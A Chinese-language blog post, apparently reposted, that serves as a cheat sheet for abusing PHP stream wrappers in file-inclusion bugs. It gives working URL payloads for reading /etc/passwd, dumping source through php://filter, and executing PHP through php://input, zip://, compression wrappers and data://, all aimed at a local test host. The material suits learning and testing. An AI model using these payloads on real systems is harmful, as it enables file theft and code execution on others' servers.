zoukankan      html  css  js  c++  java
  • 【汇总】PHP 伪协议 利用


    日期:2019-07-28 21:24:36
    更新:
    作者:Bay0net
    介绍:


    0x01、基本信息

    文件包含函数

    include()
    require()
    include_once()
    require_once()
    highlight_file ()
    show_source ()
    readfile()
    file_get_contents ()
    fopen()
    file()
    

    环境概要

    PHP 配置文件: php.ini
    默认路径: /etc/php5/apache2/php.ini

    具体要求:

    allow_url_fopen=on:默认开启,该选项为 on 便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。
    
    allow_url_include=on:默认关闭,该选项为 on 便是允许包含 URL 对象文件等。
    

    0x02、伪协议

    file://协议

    该协议在双 off 的情况下也可以正常使用;

    ?page=file:///etc/passwd
    ?file=file://D:/soft/phpStudy/WWW/phpcode.txt
    

    php://协议

    不需要开启 allow_url_fopen
    下面的几个需要开启 allow_url_fopen

    php://input
    php://stdin
    php://memory
    php://temp
    

    php://filter 读文件

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    在双 off 的情况下也可以正常使用,用于读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了。

    ?page=php://filter/read=convert.base64-encode/resource=file1.php
    

    php://input 命令执行

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:on

    注:当 enctype="multipart/form-data" 时,php://input 是无效的。

    payload:

    url:  http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
    post: <?php phpinfo(); ?>
    

    zip:// 压缩文件

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    用法:

    • zip://archive.zip#dir/file.txt
    • zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

    实例

    http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
    
    先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
    
    由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
    

    bzip2://协议

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    用法:

    • compress.bzip2://file.bz2

    实例

    http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
    
    http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
    

    zlib://协议

    环境:

    • allow_url_fopen :off/on
    • allow_url_include:off/on

    用法:

    • compress.zlib://file.gz

    实例

    http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
    
    http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
    

    data://

    环境:

    • allow_url_fopen :on
    • allow_url_include:on

    实例

    # 明文
    http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
    
    # base64 编码
    http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
    

    0x03、Reference

    php伪协议实现命令执行的七种姿势 - FreeBuf专栏·潜心学习的小白帽

    PHP: 支持的协议和封装协议 - Manual

  • 相关阅读:
    JSON 串 自定义解析字段
    JspWriter与PrintWriter的关系
    Map 根据value 排序
    Log4j NDC MDC
    stray '/241' in program 错误
    【Qt开发】修改源码文件的编码格式的小技巧 .
    Tomcat 虚拟目录映射
    《疯狂Java讲义精粹》读书笔记4 基本包装类
    《疯狂Java讲义精粹》读书笔记8 不可变类
    《疯狂Java讲义精粹》读书笔记9 接口
  • 原文地址:https://www.cnblogs.com/v1vvwv/p/PHP-wrappers.html
Copyright © 2011-2022 走看看